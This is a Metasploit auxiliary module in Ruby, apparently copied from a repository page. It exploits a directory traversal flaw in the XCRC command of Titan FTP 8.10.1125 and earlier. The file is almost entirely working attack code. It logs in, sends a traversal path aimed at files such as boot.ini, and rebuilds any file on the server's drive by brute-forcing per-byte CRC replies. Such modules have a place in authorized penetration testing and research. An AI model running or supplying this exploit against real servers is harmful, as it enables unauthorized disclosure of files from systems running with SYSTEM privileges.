137 lines
3.5 KiB
Ruby
137 lines
3.5 KiB
Ruby
|
##
|
||
|
# $Id$
|
||
|
##
|
||
|
|
||
|
##
|
||
|
# This file is part of the Metasploit Framework and may be subject to
|
||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||
|
# Framework web site for more information on licensing and terms of use.
|
||
|
# http://metasploit.com/framework/
|
||
|
##
|
||
|
|
||
|
require 'msf/core'
|
||
|
|
||
|
class Metasploit3 < Msf::Auxiliary
|
||
|
|
||
|
include Msf::Exploit::Remote::Ftp
|
||
|
|
||
|
def proto
|
||
|
'ftp'
|
||
|
end
|
||
|
|
||
|
def initialize
|
||
|
super(
|
||
|
'Name' => 'Titan FTP XCRC Directory Traversal Information Disclosure',
|
||
|
'Description' => %q{
|
||
|
This module exploits a directory traversal vulnreability in the XCRC command
|
||
|
implemented in versions of Titan FTP up to and including 8.10.1125. By making
|
||
|
sending multiple XCRC command, it is possible to disclose the contents of any
|
||
|
file on the drive with a simple CRC "brute force" attack.
|
||
|
|
||
|
Although the daemon runs with SYSTEM privileges, access is limited to files
|
||
|
that reside on the same drive as the FTP server's root directory.
|
||
|
},
|
||
|
'Author' => 'jduck',
|
||
|
'License' => MSF_LICENSE,
|
||
|
'Version' => '$Revision$',
|
||
|
'Platform' => [ 'win' ],
|
||
|
'References' =>
|
||
|
[
|
||
|
[ 'URL', 'http://seclists.org/bugtraq/2010/Jun/160' ]
|
||
|
],
|
||
|
'Privileged' => true,
|
||
|
'DisclosureDate' => 'Jun 15 2010'
|
||
|
)
|
||
|
|
||
|
register_options(
|
||
|
[
|
||
|
Opt::RPORT(21),
|
||
|
OptString.new('TRAVERSAL', [ true, "String to traverse to the drive's root directory", "..\\..\\" ]),
|
||
|
OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini']),
|
||
|
OptString.new('OUTPUTPATH', [ false, "Local path to save the file contents to", nil ])
|
||
|
], self.class)
|
||
|
end
|
||
|
|
||
|
|
||
|
def run
|
||
|
|
||
|
connect_login
|
||
|
|
||
|
path = datastore['TRAVERSAL'] + datastore['PATH']
|
||
|
|
||
|
res = send_cmd( ['XCRC', path, "0", "9999999999"], true )
|
||
|
if not (res =~ /501 Syntax error in parameters or arguments\. EndPos of 9999999999 is larger than file size (.*)\./)
|
||
|
raise RuntimeError, "Unable to obtain file size! File probably doesn't exist."
|
||
|
end
|
||
|
file_size = $1.to_i
|
||
|
|
||
|
update_interval = 1.5
|
||
|
last_update = Time.now - update_interval
|
||
|
|
||
|
old_crc = 0
|
||
|
file_data = ''
|
||
|
file_size.times { |off|
|
||
|
res = send_cmd( ['XCRC', path, "0", (off+1).to_s], true )
|
||
|
if not (res =~ /250 (.*)\r?\n/)
|
||
|
raise RuntimeError, "Unable to obtain XCRC of byte #{off}!"
|
||
|
end
|
||
|
|
||
|
crc = $1.to_i(16)
|
||
|
if (crc == 0)
|
||
|
raise RuntimeError, "Unable to decode CRC: #{$1}"
|
||
|
end
|
||
|
|
||
|
ch = char_from_crc(crc, old_crc)
|
||
|
if not (ch)
|
||
|
raise RuntimeError, ("Unable to find a CRC match for 0x%x" % crc)
|
||
|
end
|
||
|
|
||
|
# got this byte ;)
|
||
|
file_data << ch
|
||
|
old_crc = crc
|
||
|
|
||
|
if (Time.now - last_update) >= update_interval
|
||
|
progress(file_size, off)
|
||
|
last_update = Time.now
|
||
|
end
|
||
|
}
|
||
|
|
||
|
progress(file_size, file_size)
|
||
|
|
||
|
if (datastore['OUTPUTPATH'])
|
||
|
fname = datastore['PATH'].gsub(/[\/\\]/, '_')
|
||
|
outpath = File.join(datastore['OUTPUTPATH'], fname)
|
||
|
print_status("Saving contents to #{outpath} ...")
|
||
|
File.open(outpath, "wb") { |fd|
|
||
|
fd.write(file_data)
|
||
|
}
|
||
|
else
|
||
|
print_status("File contents:")
|
||
|
print_status(file_data.inspect)
|
||
|
end
|
||
|
|
||
|
disconnect
|
||
|
|
||
|
end
|
||
|
|
||
|
#
|
||
|
# Return a character code from the crc, or nil on failure
|
||
|
#
|
||
|
def char_from_crc(crc, old_crc)
|
||
|
256.times { |x|
|
||
|
ch = x.chr
|
||
|
if (Zlib.crc32(ch, old_crc) == crc)
|
||
|
return ch
|
||
|
end
|
||
|
}
|
||
|
nil
|
||
|
end
|
||
|
|
||
|
def progress(total, current)
|
||
|
done = (current.to_f / total.to_f) * 100
|
||
|
percent = "%3.2f%%" % done.to_f
|
||
|
print_status("Obtaining file contents - %7s done (%d/%d bytes)" % [percent, current, total])
|
||
|
end
|
||
|
|
||
|
end
|